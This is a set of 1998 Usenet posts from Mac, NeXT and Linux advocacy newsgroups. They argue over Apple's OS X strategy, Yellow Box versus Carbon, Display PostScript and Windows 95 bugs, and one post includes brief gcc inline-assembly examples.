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<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
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<6si9mk$sdu@news1.panix.com> <SCOTT.98Sep2131503@slave.doubleu.com>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:12:14 GMT
In <SCOTT.98Sep2131503@slave.doubleu.com> Scott Hess wrote:
> In any case, the same problems come up with _any_ OpenSource Unix
> layer they use, even their own. They could very well put out a new
> release, ship the CD's, and have someone find and fix a major bug
> within the week,
Absolutely, and given Apple's market I think the "endless patches" bug fix
routine would grow old quickly. However I'm also of the opinion that it's
somewhat unlikely this will be a real issue, as the portions that are being
brought in from the open sources are unlikely to play a major role in the
sic operations on a daily basis.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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<EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
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<6skt5a$147m1@odie.mcleod.net>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:17:20 GMT
In <6skt5a$147m1@odie.mcleod.net> "Michelle L. Buck" wrote:
> deliberately eliminating previously existing support for non-Apple hardware
> configurations. This is not a technical issue. This is just Apple being
> Apple.
I'm glad to see my point has not been missed.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
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<6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet>
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<EyK6KM.843@T-FCN.Net> <SCOTT.98Sep1100129@slave.doubleu.com>
<Eynu0t.GJ9@T-FCN.Net> <SCOTT.98Sep2133010@slave.doubleu.com>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:20:01 GMT
In <SCOTT.98Sep2133010@slave.doubleu.com> Scott Hess wrote:
> There was certainly a period with automobiles where the vehicle simply
> couldn't travel fast enough to injure you much if it crashed.
> Sometimes it didn't operate long enough to go far enough to make
> crashes likely in the first place. Eventually they got powerful
> enough to be quite dangerous. Eventually the art of building
> automobiles was reduced to rote, and nowadays you have to do
> _something_ to make people spend that kind of money on a couple
> hundred dollars worth of raw materials.
But that's kinda my point. The enviornment for cars has become MUCH
er over the last 30 years, yet the cars themselves have become much safer.
It's a values issue, people still expect computers to be finicky, so the
dors don't do much about it.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Organization: none
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
<ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net>
<ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:43:30 GMT
In <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
nospam)Koller wrote:
>> Lessee ... so the YB upside is development ease, power and stability. The
> downside is YB apps will only run in OSX or the YB in OS?
Add Win32.
> machines) Whereas Carbon compliant apps will run on nearly every
> (Power)Mac.
>
> So, it looks like for custom software installations and mission critical
> stuff (like NeXTStep shined at) YB development will be a definite option,
> but for older apps, and new apps that are aimed at the widest possible
> audience, Carbon will be the choice.
Depends entirely on whether or not Win32 is a part of your target.
> Then again, *honestly* how realistic is it for the YB layer for Win/NT/98
> to happen?
Umm, it "happened" a long time ago.
> Seeing that Adobe's K2 is a brand spankin' new app set for deployment in a
> year or so, I was wondering whether they were doing this via carbon or via
> YB. I'd imagine Carbon...
For sure, K2's old code.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Thu, 03 Sep 1998 09:00:26 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0309980900260001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu> <640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu> <_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com>
In article <_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-0209981548340001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>>
>> The platform is the unifying element for the user.
>>
>This is where maybe academia and industry diverge...
>
>What would happen if you weren't so platform/technology dependent (ie. AS,
>T, etc...)?
The university is _incredibly_ diverse - far more so than any company I've
ever run across. For solutions that span this environment we look for
technology independent solutions. But the people that get paid the most
here and anywhere else that I've looked are the users, not the people that
write the training manuals. I'd much rather maximize the efficiency of a
user that makes $100k than a trainer that makes $30k.
And I don't see how you can get past the platform training anyway. When an
app has it's own tools and you have 6 apps, you are then training for 6
color pickers, 6 scripting environments, 6 of everything. Most people
would conclude that there are only 2 platforms, though...
-Bob Cassidy
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
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Message-ID: <Jn2H1.2937$MS.7279167@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 02:50:17 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 19:50:17 PDT
Organization: @Home Network
In <35ec7a19.0@news.depaul.edu> Jonathan W Hendry wrote:
> spagiola@my-dejanews.com wrote:
> > Well, Steve's speech has come and gone, and not one peep on Mac OS X
ver,
> > as far as I could tell. Yes, it was good to hear Adobe et al announce
eir
> > support for OS X, but that's over a year away. In the meantime, OS X
ver
> > is supposed to be here imminently, and still not a word. Not on timing.
Not
> > on pricing. Not on anything.
>
> > This is extremely discouraging...
>
> For what it's worth, WebObjects 4 will run on MacOS X Server. It was
> mentioned in the press release.
>
>
All that tells you is that it will run on MacOS X server when Server is
lable.
-r
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 3 Sep 1998 16:56:52 GMT
Organization: I don't think so
Message-ID: <slrn6utiq4.7oc.jason@jhste1.dyn.ml.org>
References: <EypqG4.4pI@T-FCN.Net> <B2141392-F6FC@206.165.43.98>
Lawson English posted the following to comp.sys.mac.advocacy:
>What's the performance of the GNU Objective-C compiler vs Metrowerks? Vs
>Moto? Vs MrC?
gcc-2.8 is about the same as MW; egcs-1.x generates faster code. Neither
really compares to MrC or Moto (what do you expect from cross-platform
compilers?) One benefit is that you can very easily build a cross-compiler
from egcs or gcc.
>Can you compile using the GNU compiler and then recompile using MrC for
>time-critical code? What's the GNU in-line assembler for PPC like?
The inline assembler is nice, once you get used to it. Typical syntax:
asm("mulli %0,%1,3406": "=r" (x2): "r" (x1));
or
asm("rlwimi %0,%1,16,0,7": "=r" (out): "r" (in), "0" (out));
(there are all sorts of restrictions and so forth that you can put
on it, but that's rather esoteric stuff).
>What's the interface like for the GNU compiler?
Usually hidden beneath the interface for GNU make <g>. These are not
GUI tools, although there are (some) GUI frontends out there (free and
open source, of course).
In its simplest form, gcc would be invoked like this:
gcc -o foo foo.c
(Normally you would include more options, though, e.g., -O[123] for the
optimizer, -g for debugging, -lfoo to link libfoo.a and so forth. You can
also do defines on the command line with -DFOO=1 to #define FOO 1, and
add extra include directories with -I, and about a zillion other things).
There is full documentation on the web somewhere.
--
When I was a boy I was told that anybody could become President. Now
I'm beginning to believe it.
-- Clarence Darrow
From: "Steven Schulze" <sschulze@netwiz.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 3 Sep 1998 08:05:44 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6sm7m1$p16$1@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com>
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Christian Bau wrote in message ...
>In article <ZX8H1.831$3i2.524085@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>> blewis wrote in message ...
>>
>> >> At least they get released. Better late than never, a la Apple.
>> >
>> >Sure, they may get released, but they are buggy as hell and mostly
>> >unusable until the first service pack.
>>
>> Personal opinion...
>>
>>
>> I don't know anyone that knows what the difference is between Win95 and
>> Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>> single Win95 bug... can you?
>
>What about this one (I know hundreds of Windows users will now come and
>explain that it is no bug): Windows user asks me for help. His "START"
>menu is gone. He can still click with the right mouse button pressed and
>get a start menu, but he cant find it where it is supposed to be and is
>pretty annoyed. Cant figure out how to get it running. There is, however,
>a very thin greyish line at the right side of the screen...
>
>So what happened: A not very experienced computer user got himself into a
>situation where he couldnt use his computer properly anymore (as I figured
>out later, by clicking into the start menu bar at the wrong point and
>moving the mouse to the wrong point). I call this a bug.
Here's the first Windows user telling you it's not a bug...
It's not a bug.
The idea is you can move the taskbar to any of the four sides by dragging it
wherever it suits you best.
How is this a bug?
Steven Schulze
Concord, CA
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
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<1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:38:18 GMT
In <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> John Moreno
e:
> I'm not sure why nobody has suggested it before - but actually the whole
> thing can be faked: the system simply doesn't return clicks in the menu
> and instead handles it totally, when a menu is selected THEN it returns
> a mousedown
But then the app doesn't get a chance to update the menu status.
Maury
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Instant Online Dictionary
Date: Thu, 03 Sep 1998 12:49:24 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0309981249240001@castle.webis.net>
NNTP-Posting-Date: 3 Sep 1998 17:49:24 GMT
I remember the thread talking about Websters that came with NeXTStep and
the instant online dictionary. Some people were proponents of the internet
based searches, others love the Webster's app.
I believe with Mac OS 8.5 it can be done.
For example, Mac OS 8.5 has the internet search ability. Its pretty nice.
Anyhow, its also very easy to write your own search resources (look at a
copy of NetProfessional within a month or so).
In any case, I wrote a dictionary.com search resource. Then I wrote a
QuickKey's script that takes a highlighted word and transfers it to the
Sherlock app that then searches only from Dictionary.Com via AppleScript.
I could spend some more time and make more of it AppleScript that would
then show a window with the different definitions back on the original
app...
Anyhow, just wanted to let people know that its possible.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 3 Sep 1998 18:16:32 GMT
Organization: University of California at San Diego
Message-ID: <slrn6utn7v.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35ED82AE.7C1B5FE9@ericsson.com> <6skaig$8bv@shelob.afs.com> <35EDB1C8.888174C7@ericsson.com>
On Wed, 02 Sep 1998 15:59:52 -0500, Michael Peck wrote:
:> It's true that DPS is scheduled to disappear in next year's release --
:> and that is a grave disappointment for someone like me who offers DTP
:> and WP apps -- but I'm keeping my reservations in check until I get more
:> details about how much work will be required to switch. As a personal
:> opinion, I would rather eat the cost of continuing to distribute DPS
:> with Windows versions of my apps (such as they are; it's a small part of
:> the market anyway), but I know other YB authors who feel differently.
:
:I can't comment, not being a DPS programmer/user. Even so, from what I
:know it seems like a huge loss. Neither GX nor DPS will be used;
:instead, something undefined and unknowable is being introduced.
Not quite "undefined", it's the drawing algorithms of DPS without full
Kolmogorov universality. I.e. programming of arbitrarily recursive
postscript programs.
Even without that, it seems better than every other drawing layer
except DPS.
There is some indication that the loss of DPS was not something that
Apple intentionally pursued, but was forced into that position by the
recalcitrance of another 5 letter company beginning with 'A'.
:> If we are talking about the Server release, yes. (I don't see how we
:> could be talking about the customer release, it doesn't exist for now.)
:
:We're talking about the customer release, which of course does not exist
:and thus cannot be said to run on BSD.
That's a particularly silly statement, sort of like claiming that as
Redhat Linux 6.0 doesn't (yet) exist, we can't say that it runs on Linux.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 3 Sep 1998 18:23:01 GMT
Organization: University of California at San Diego
Message-ID: <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu>
:Finally I reiterate what I have said in the following article:
:
:http://www.channelu.com/Articles/ClosedorOpen/index.html
:
:Apple has to decide if it's focus will be hardware or software.
:They will continue to fall behind if they try to do everything all at
:once.
:A sucessful hardware strategy has very different goals/concerns than
:a sucessful software strategy.
"they say" that Apple must choose between hardware and software. Why?
In your mind, is Sun's focus "hardware" or "software"??
If you were a Sun accountant I think the answer would be clear (hardware).
Or is Sun not pursuing a successful strategy?
I think that attempting to adopt Microsoft's business model, now that
Microsoft is already there, powerful and jealous, is a monumentally
foolish idea.
NeXT sort of tried; it was more important and relevant before it lost
hardware.
If you go hardware only, you end up being a replacable and boring vassal
of Microsoft.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 03 Sep 1998 19:07:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6smpdo$4v3$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
In article <EyppwC.485@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> The fact that OpenStep doesn't block is a historical accident of the
> techture of the system, with the WindowServer and DPS being in different
> ps". Other bits of the mouse handling indeed cause the system to block the
> foreground, like scrolling. I really don't think this is that much
> t.
Scrolling, can only logically be controlled by the application. Apple should
be thinking about changing the YB event model so that each window has it's
own thread and handles it's own events. The BeOS does this and it upsets me
that, in the respect, the BeOS is far superior to OpenStep.
> This would work under BB as well.
I wasn't really thinking about the BB.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Thu, 03 Sep 1998 08:01:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0309980801300001@wil58.dol.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
In article
<ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig(nospam)Koller) wrote:
>In article <EyoKBy.CAo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>> In <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> Craig
>> er wrote:
>> > Has *anybody* delineated what the benefits of a YB app vs. a Carbon app
>> > are? Is the advantage on the development side, the user side? Performance?
>> > Portability? What happened to the YB API for Winders?
>>
>> I think there's benefits all around, how they need to be weighed is up to
>> the developer.
>>
>> a) development is definitely easier
>>
>> As good as PP and CW are, they simply don't compare with the rich and
>> rful objects included in YB. You can do things in YB in a few lines that
>> uld take hundreds in most other systems, color managment, string handling
>> c.
>>
>> b) user side is likely similar over all
>>
>> However the filters and services system under YB will be hard to touch, as
>> will the invisible and widespread drag and drop abilities.
>>
>> c) performance is likely a wash, maybe a bit better under YB
>>
>> d) YB has the only real portability.
>>
>
>Thanks.
>
>
>Gotta love this "battle of the boxes..."
>
>Lessee ... so the YB upside is development ease, power and stability. The
>downside is YB apps will only run in OSX or the YB in OS? (for the non OSX
>machines) Whereas Carbon compliant apps will run on nearly every
>(Power)Mac.
You forgot--YB apps will run on Win95 or NT.
>
>So, it looks like for custom software installations and mission critical
>stuff (like NeXTStep shined at) YB development will be a definite option,
>but for older apps, and new apps that are aimed at the widest possible
>audience, Carbon will be the choice.
>
>Then again, *honestly* how realistic is it for the YB layer for Win/NT/98
>to happen? (wouldn't it be like MS to "break" this?) If that were the
>case, developers would have an even wider distribution model with the YB
>app via the cross-platform approach, versus the "cross-Mac" approach.
It's there. It worked before under OpenStep and apparently worked quite well.
>
>Seeing that Adobe's K2 is a brand spankin' new app set for deployment in a
>year or so, I was wondering whether they were doing this via carbon or via
>YB. I'd imagine Carbon...
>
>No wonder Heidi walked.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 03 Sep 1998 15:28:02 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EEFBD2.24124D00@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
> "they say" that Apple must choose between hardware and software. Why?
Because its position dictates it.
> In your mind, is Sun's focus "hardware" or "software"??
SMCC is a hardware platform company. SunSoft, Inc. is a software
company.
> If you were a Sun accountant I think the answer would be clear (hardware).
If I were a Sun accountant I think I would know how much money Sun has
poured into the JavaSoft division, and I think I would understand the
importance of that investment.
> Or is Sun not pursuing a successful strategy?
Sun is nowhere near Apple's position in its own market. It has a
successful licensing program in both hardware and software and it has a
successful and industry-standard suite of tools, compilers, and
operating systems. It also has one of the most successful software
product lines in history, the Java programming language and the Java API
specifications and implementations.
Apple has...what? A diminishing line of consumer machines and
workstations running a diminishing suite of 3rd-party apps on a dated
operating system of diminishing importance. They *also* have a new
acquisition with the potential to drive their technology to great
heights and a name brand that could be leveraged to build
industry-standard products.
Careful observers may note that these assets lie almost exclusively in
the software domain. Is an answer forming in your mind?
> I think that attempting to adopt Microsoft's business model, now that
> Microsoft is already there, powerful and jealous, is a monumentally
> foolish idea.
Almost certainly true, if you mean competing in the realm of consumer
operating systems and productivity software suites. That was what you
meant, right?
> NeXT sort of tried; it was more important and relevant before it lost
> hardware.
No, it was more important and relevant before it lost the
price/performance race. After several years of increasingly
disappointing results (but probably not surprising) some of its
importance and relevance was regained through vending of advanced
software tools instead of obsolete hardware.
> If you go hardware only, you end up being a replacable and boring vassal
> of Microsoft.
Huh? Suppose I sell consumer stereo systems. Have I become a replacable
and boring vassal of musicians and talk radio hosts?
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Still no word on OS X Server...
Newsgroups: comp.sys.next.advocacy
References: <6shnvp$cmh$1@nnrp1.dejanews.com>
Message-ID: <35ec7a19.0@news.depaul.edu>
Date: 1 Sep 98 22:50:01 GMT
spagiola@my-dejanews.com wrote:
> Well, Steve's speech has come and gone, and not one peep on Mac OS X Server,
> as far as I could tell. Yes, it was good to hear Adobe et al announce their
> support for OS X, but that's over a year away. In the meantime, OS X Server
> is supposed to be here imminently, and still not a word. Not on timing. Not
> on pricing. Not on anything.
> This is extremely discouraging...
For what it's worth, WebObjects 4 will run on MacOS X Server. It was
mentioned in the press release.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35ee40da.0@nnrp1.news.uk.psi.net>
Date: 3 Sep 98 07:10:18 GMT
"Dan" <dan@knowspaam.com> wrote:
>Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>>The claim Win95 was unusable
>>until the first service pack is a bit silly but it's not entirely wrong
>either.
>
>I stand by what I said. If a user goes looking for documentation, containing
>a list of known bugs, then obviously they will know of some that exist...
>even if they don't experience them.
>My point was that most users can't give you a example of a single bug in
>Win95... but most users will agree that Win95 has plenty of them. It's
>called "ignorance"... "hype"... etc.
Of course most users can't give an example of a specific bug -
they don't know how to isolate one - but they will be able to tell you that
their system has crashed/hung and that their applications have acted in
strange and unpredictable ways.
Just because some behaviour is not readily reproducable, doesn't make it any
less of a bug.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 03 Sep 1998 02:39:17 +0000
Organization: BM
Message-ID: <6sld5m$t65$1@holly.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net>
<rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net>
<h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net>
<9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
rr6013@yahoo.com wrote:
>Wishful thinking those factoids are today. Apple pissed away superiority in
>their self-absorbed complacency towards their markets.
While true, this doesn't, however, change the fact that Apple had its best years
while being "closed" *but* with superior technology.
So the issue is not whether one uses "open" standards but whether one has
distinct advantages people are willing to pay for. Case in point in the 90s:
Microsoft.
Ziya Oz
Date: Wed, 02 Sep 1998 13:57:22 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <christian.bau-0209981357220001@christian-mac.isltd.insignia.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <ZX8H1.831$3i2.524085@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> blewis wrote in message ...
>
> >> At least they get released. Better late than never, a la Apple.
> >
> >Sure, they may get released, but they are buggy as hell and mostly
> >unusable until the first service pack.
>
> Personal opinion...
>
>
> I don't know anyone that knows what the difference is between Win95 and
> Win95 with service pack 1... nor can 95% of any Win95 user find or name a
> single Win95 bug... can you?
What about this one (I know hundreds of Windows users will now come and
explain that it is no bug): Windows user asks me for help. His "START"
menu is gone. He can still click with the right mouse button pressed and
get a start menu, but he cant find it where it is supposed to be and is
pretty annoyed. Cant figure out how to get it running. There is, however,
a very thin greyish line at the right side of the screen...
So what happened: A not very experienced computer user got himself into a
situation where he couldnt use his computer properly anymore (as I figured
out later, by clicking into the start menu bar at the wrong point and
moving the mouse to the wrong point). I call this a bug.
From: "Brian Quinlan" <quinlan@intergate.bc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <Eyppzv.4Bs@T-FCN.Net> <1des3kr.i7p7791fpin8iN@roxboro0-006.dyn.interpath.net>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 16:22:56 -0700
Message-ID: <35ef23b0.0@carrera>
In article <1des3kr.i7p7791fpin8iN@roxboro0-006.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> Depending upon when it is updating the menu status, that's true.
> Personally I update it after each command, not before. If a lot of
> people are doing it the wrong way around then that is probably not the
> way to go - in fact it's not the way to go in any case, adding a new
> main event code or two is obviously the way to go (updateMenusEvnt if
> changing the menu before selection is common, and menuSelectionEvnt).
> This requires minimal rewriting, is backwords compatible with the way it
